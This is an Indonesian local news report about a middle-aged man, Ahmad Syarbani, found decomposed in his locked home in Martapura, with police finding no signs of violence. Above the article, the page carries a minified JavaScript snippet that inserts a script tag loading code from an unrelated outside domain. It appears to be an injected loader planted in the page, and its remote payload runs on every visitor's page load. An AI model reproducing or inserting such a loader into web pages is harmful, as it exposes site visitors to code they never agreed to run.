(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

GEGER. Pria Paruh Baya di Sungai Paring Ditemukan Meninggal 3 Hari Lalu di Rumahnya

KANALKALIMANTAN.COM, MARTAPURA – Seorang mayat lelaki paruh baya mengegerkan warga karena ditemukan membusuk di sebuah rumah di komplek Tepi Sawah 1, Kelurahan Sungai Paring, Kecamatan Martapura, Kabupaten Banjar, Jumat (14/10/2022) malam.

Kapolres Banjar AKBP Doni Hadi Santoso, melalui Kasi Humas Iptu Suwarji saat dikonfirmasi menjelaskan korban sudah ditemukan dalam keadaan membusuk dan diperkriakan meninggal dunia sekitar 3 hari yang lalu.

Adapun kejadian bermula pada pukul 17.00 Wita seorang saksi yang merupakan kerabat korban menelpon saksi lainnya dan memberitahukan bahwa dari luar rumah tercium bau busuk.

“Saksi 1 bernama Kastolani menerima telpon dari Khairul selaku kerabat korban bahwa dirumah korban tercium bau busuk dan rumah dalam keadaan terkunci, kemudian saksi 1 mendatangi rumah korban yg mana sudah banyak warga,” ujar Kapolres Banjar AKBP Doni Hadi Santoso, melalui Kasi Humas Iptu Suwarji saat dikonfirmasi, Sabtu (15/10/2022).

Kemudian saksi bersama warga pun, lanjut Suwarji, mencoba masuk ke rumah korban melalui pintu belakang yang tidak terkunci.

Setelah masuk warga dikagetkan karena mendapati korban dalam keadaan meninggal dunia di dalam kamar. Atas kejadian tersebut selanjutnya saksi melaporkan ke Polsek Martapura Kota.

Sekitar pukul 20.30 Wita, Polsek Martapura Kota, Unit Inafis Polres Banjar bersama Unit Kamneg Sat Intelkam Polres Banjar pun mendatangi lokasi untuk melakukan olah TKP dan mengamankan jenazah.

“Kemudian korban dibawa ke RSUD Ratu Zaleha Martapura dengan menggunakan mobil Ambulance EBR Kab Banjar untuk dilakukan Visum,” imbuhnya.

Berlanjut sekitar pukul 22.00 Wita, setelah dilakukan visum luar oleh Dokter Jaga RSUD Ratu Zaleha Martapura Sdr. dr. IQBAL, pihak Kepolisian menyatakan bahwa tidak ada ditemukan tanda-tanda kekerasan atau penganiayaan.

Kemudian jenazah dipastikan telah meninggal dunia sekitar tiga hari lalu dengan kondisi busuk dan berbelatung.

Sementara itu barang bukti yang ditemukan dari hasil olah TKP, Kepolisian menemukan satu lembar sarung warna hitam motif kotak-kotak, satu buah baju singlet warna putih, satu buah celana kolor warna hitam, serta satu buah kalung tasbih.

Adapun identitas korban yakni Ahmad Syarbani (52) seorang wiraswasta asal Desa Pasayangan Kecamatan Martapura, Kabupaten Banjar. (Kanalkalimatan.com/wanda)

Reporter : wanda
Editor : cell